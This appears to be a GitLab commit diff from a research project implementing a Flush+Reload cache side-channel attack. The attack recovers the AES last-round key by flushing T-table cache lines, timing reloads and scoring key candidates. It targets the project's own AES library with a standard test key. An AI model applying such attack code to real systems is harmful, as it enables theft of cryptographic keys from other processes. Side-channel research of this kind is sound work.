Skip to content
Snippets Groups Projects
Commit 29b2adfa authored by Yuxiao Mao's avatar Yuxiao Mao
Browse files

Attack AES last round: prepare for multiple attack type

parent e251f5b3
No related branches found
No related tags found
No related merge requests found
......@@ -28,8 +28,8 @@ cache_profiling_pp8.elf: src/cache_profiling.c cache/cache_l1.c cache/cache_l1.h
victim.elf: src/victim.c libaes.so
$(CC) src/victim.c -Iaes -L. -laes -o $@
attack_aes_lastround_fr.elf: src/attack_aes_lastround_fr.c cache/cache_util.c cache/cache_util.h cache/cache_low.h libaes.so
$(CC) src/attack_aes_lastround_fr.c cache/cache_util.c -Icache -Iaes -L. -laes -o $@
attack_aes_lastround_fr.elf: src/attack_aes_lastround.c cache/cache_util.c cache/cache_util.h cache/cache_low.h libaes.so
$(CC) -DWITH_PROCESS_SINGLE -DWITH_CACHE_FLUSH src/attack_aes_lastround.c cache/cache_util.c -Icache -Iaes -L. -laes -o $@
clean:
rm -f -- *.elf *.so *.dump *.csv
......@@ -5,7 +5,20 @@
#include "cache_low.h"
#include "cache_util.h"
// Possible macros:
// - WITH_PROCESS_SINGLE
// - WITH_CACHE_FLUSH
// Only allow some special combination of macro
#if !defined(WITH_PROCESS_SINGLE) || !defined(WITH_CACHE_FLUSH)
#error Please check the macro used. For now, only single process + flush is a valid combination.
#endif
#ifdef WITH_PROCESS_SINGLE
#include "aes.h"
#endif //ifdef WITH_PROCESS_SINGLE
#define MAX_PLAINTEXTS 3000
#define MAX_CMD_SIZE 100
......@@ -130,6 +143,7 @@ static int calc_score(struct attack_ctx *ctx)
int plaintext_cnt = ctx->plaintext_cnt;
int threshold = ctx->threshold;
#ifdef WITH_PROCESS_SINGLE
uint8_t aes_user_key[16] = {0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c};
AES_KEY aes_key;
// Initialize AES function
......@@ -140,6 +154,7 @@ static int calc_score(struct attack_ctx *ctx)
}
printf("AES round 10 key: %08x %08x %08x %08x\n", aes_key.rd_key[40], aes_key.rd_key[41], aes_key.rd_key[42], aes_key.rd_key[43]); // DEBUG
#endif //ifdef WITH_PROCESS_SINGLE
// Initialize score array
memset(ctx->score, 0, sizeof(ctx->score));
......@@ -162,13 +177,18 @@ static int calc_score(struct attack_ctx *ctx)
//printf("DEBUG: Access table Te%d:\n", te);
for(int s = 0; s < CACHE_LINE_IN_T_TABLE; s ++) {
/* 1. Flush */
// Compute target cache line addr
addr = ctx->addr_te[te] + s*ELEMENT_PER_CACHE_LINE;
#ifdef WITH_CACHE_FLUSH
//printf("DEBUG: Flushing addr %p\n", addr);
clflush(addr);
#endif //ifdef WITH_CACHE_FLUSH
/* 2. Do encryption */
// Encryption
#ifdef WITH_PROCESS_SINGLE
AES_encrypt(ctx->plaintexts[p], ciphertext, &aes_key);
#endif //ifdef WITH_PROCESS_SINGLE
/*
sprintf(cmd, "LD_LIBRARY_PATH=. ./victim.elf %s", ctx->plaintexts[p]);
fp = popen(cmd, "r");
......@@ -185,12 +205,9 @@ static int calc_score(struct attack_ctx *ctx)
pclose(fp);
*/
/* 3. Record T table access */
//access_table_s[te][s] = reload_and_is_access(cache_ctx, te, s, threshold);
// Analyze cache state
uint16_t count = memaccesstime_u16(addr);
access_table_s[te][s] = count < threshold? 0 : 1;
//access_table_s[te][s] = count < 500? count : 500;
//printf("%d ", access_table_s[te][s]); //DEBUG
} // end for s
//printf("\n"); // DEBUG
......@@ -219,7 +236,7 @@ static int calc_score(struct attack_ctx *ctx)
uint8_t val = ((uint8_t*)val_word_ptr)[3 - i%4];
ctx->score[i][ciphertext[i] ^ val] += access_table_s[te][s]; /* increase candidate score!! */
//printf("%02x:%02x ", val, ciphertext[i] ^ val); // DEBUG
// TODO: ciphertext XOR T[x] = KEY, val is taking the 1x value of SBox
// Note: ciphertext XOR T[x] = KEY, val is taking the 1x value of SBox
val_word_ptr ++; // next u32 element
}
}
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment